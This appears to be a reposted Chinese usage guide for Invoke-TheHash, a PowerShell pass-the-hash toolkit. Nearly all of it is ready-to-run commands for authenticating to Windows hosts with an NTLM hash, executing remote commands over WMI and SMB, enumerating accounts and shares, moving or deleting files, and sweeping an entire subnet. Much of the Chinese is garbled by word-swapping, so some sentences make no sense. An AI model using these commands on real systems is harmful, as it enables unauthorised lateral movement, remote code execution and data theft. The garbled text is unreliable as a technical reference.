Invoke-TheHash:PowerShell实现的哈希传递攻击套件

Invoke-TheHash项目是一个基于.Net TCPClient,经由过程把NTLM hash通报给NTLMv2身份验证协议来进行身份验证的进击套件,且履行时客户端不必要本地治理员权限。

安装情况

PowerShell 2.0及以上。

导入

Import-Module ./Invoke-TheHash.psd1

. ./Invoke-WMIExec.ps1. ./Invoke-SMBExec.ps1. ./Invoke-SMBEnum.ps1. ./Invoke-SMBClient.ps1. ./Invoke-TheHash.ps1

Invoke-WMIExec

感化:WMI敕令履行。

参数:

Target – 目标主机名或IP地址。

Username – 用于身份验证的用户名。

Domain – 用于身份验证的域。本地帐户或在用户名后应用@domain时不必要此参数。

Hash – 用于身份验证的NTLM密码哈希(款式: LM:NTLM 或 NTLM)。

Command -在目标上履行的敕令。假如敕令未指定,则将反省用户名和哈希是否可以造访目标上的WMI。

Sleep – 默认 = 10毫秒:设置开始 – 就寝值(以毫秒为单位)。

示例:

Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command “command or launcher to execute” -verbose

截图:

Invoke-SMBExec

感化:SMB(PsExec)敕令履行,支持SMB1,SMB2.1,无论SMB有无署名。

参数:

Target – 目标主机名或IP地址。

Username – 用于身份验证的用户名。

Domain – 用于身份验证的域。本地帐户或在用户名后应用@domain时不必要此参数。

Hash – 用于身份验证的NTLM密码哈希(款式: LM:NTLM 或 NTLM)。

Command – 在目标上履行的敕令。假如敕令未指定,则将反省用户名和哈希是否可以造访目标上的SCM。

CommandCOMSPEC – 默认=Enabled:将%COMSPEC% /C预先添加到敕令。

Service – 默认 = 20字符(随机):要在目标上创建和删除的办事名称。

Sleep – 默认 = 150毫秒:设置开始 – 就寝值(以毫秒为单位)。

Version – 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认履行SMB版本协商,假如目标支持,则应用SMB2.1。

示例1:

Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command “command or launcher to execute” -verbose

示例2:

反省目标上的SMB署名要求。Invoke-SMBExec -Target 192.168.100.20

截图:

Invoke-SMBEnum

感化:经由过程署名或未署名的SMB2.1履行用户,组,NetSession和共享罗列义务。

参数:

Target – 目标主机名或IP地址。

Username – 用于身份验证的用户名。

Domain – 用于身份验证的域。本地帐户或在用户名后应用@domain时不必要此参数。

Hash – 用于身份验证的NTLM密码哈希(款式: LM:NTLM 或 NTLM)。

Action – (整个,组,NetSession,共享,用户)默认 = share:罗列共享。

Group – 默认 = Administrators:罗列组。

Sleep – 默认 = 150毫秒:设置开始 – 就寝值(以毫秒为单位)。

Version – 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认履行SMB版本协商,假如目标支持,则应用SMB2.1。

示例:

Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose

截图:

Invoke-SMBClient

SMB client同时支持SMB2.1和SMB署名。主要供给SMB文件共享功能,以应用没有远程敕令履行权限的哈希。此外,它还可用于staging payload并与Invoke-WMIExec和Invoke-SMBExec一路应用。请留意,Invoke-SMBClient是基于.NET TCPClient的,是以不应用Windows SMB client.。Invoke-SMBClient比Windows SMB client要慢很多。

参数:

Username – 用于身份验证的用户名。

Domain – 用于身份验证的域。本地帐户或在用户名后应用@domain时不必要此参数。

Hash – 用于身份验证的NTLM密码哈希(款式: LM:NTLM 或 NTLM)。

Action – 默认 = List: 履行(List/Recurse/Delete/Get/Put) 操作。

List:列出目录内容。

Recurse:列出目录和所有子目录内容。

Delete:删除文件。

Get:下载文件。

Put:上传文件并设置创建,造访和上次写入光阴以匹配源文件。

Source(源)

List 和 Recurse:目录的UNC路径。

Delete:文件的UNC路径。

Get:文件的UNC路径。

Put:要上传的文件。假如未指定完备路径,则该文件必须位于当前目录下。应用”Modify”开关时,“Source”必须是字节数组。

Destination(目标)

List 和 Recurse:未应用。

Delete:未应用。

Get:假如应用,value将是下载文件的新文件名。假如未指定完备路径,则将在当前目录下创建该文件。

Put:上传文件的UNC路径。必须指定文件名。

Modify

List and Recurse:输出一个由目录内容组成的工具。

Delete:未应用。

Get:输出下载文件的字节数组,而不是将文件写入磁盘。建议仅将其用于较小的文件,并将输启程送到一个变量。

Put:将字节数组上传到新的目标文件。

NoProgress – 不显示上传和下载进度条。

Sleep – 默认 = 100毫秒:设置开始 – 就寝值(以毫秒为单位)。

Version – 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认履行SMB版本协商,假如目标支持,则应用SMB2.1。

[1] [2]下一页

示例1:

列出root共享目录内容。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose

示例2:

从root开始递归列出共享内容。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share

示例3:

递归列出share subdirectory目录下的内容,并且只将内容输出返回到一个变量。

$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify

示例4:

删除share目录中的一个文件。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt

示例5:

删除share subdirectory目录中的文件。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt

示例6:

从share目录中下载一个文件。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt

示例7:

从share subdirectory目录中下载文件并设置新的文件名。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt

示例8:

将文件从share目录下载到字节数组变量而不是磁盘。

$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify

示例9:

上传一个文件到share subdirectory目录。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe

示例10:

从字节数组变量上传一个文件到share目录。

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify

截图:

Invoke-TheHash

感化:针对多个目标运行Invoke-TheHash。

参数:

Type – 设置所需的Invoke-TheHash功能(支持SMBClient,SMBEnum,SMBExec或WMIExec)。

Target – 目标的主机名,IP地址,CIDR表示法或IP范围列表。

TargetExclude – 要从列表或目标中扫除的主机名,IP地址,CIDR表示法或IP范围的列表。

PortCheckDisable – (Switch)禁用WMI或SMB端口反省。因为该功能尚未线程化,是以端口反省主要经由过程在考试测验完全同步TCPClient连接之前,反省打开的WMI或SMB端口来提升速率。

PortCheckTimeout – 默认值 = 100:设置WMI或SMB端口反省的无相应超韶光阴(以毫秒为单位)。

Username – 用于身份验证的用户名。

Domain – 用于身份验证的域。本地帐户或在用户名后应用@domain时无需此参数。

Hash – 用于身份验证的NTLM密码哈希(款式: LM:NTLM 或 NTLM)。

Command – 在目标上履行的敕令。假如敕令未指定,则该函数将仅反省用户名和哈希是否可以造访目标上的WMI或SCM。

CommandCOMSPEC – 默认 = Enabled:仅支持SMBExec。将%COMSPEC% /C预先添加到敕令。

Service – 默认 = 20字符(随机):仅支持SMBExec。要在目标上创建和删除的办事名称。

SMB1 – (Switch) 强制SMB1。仅支持SMBExec。默认履行SMB版本协商,假如目标支持,则应用SMB2。

Sleep – 默认 = WMI 10 毫秒,SMB 150 毫秒:设置启动 – 就寝值(以毫秒为单位)。

示例11:

Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

截图:

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包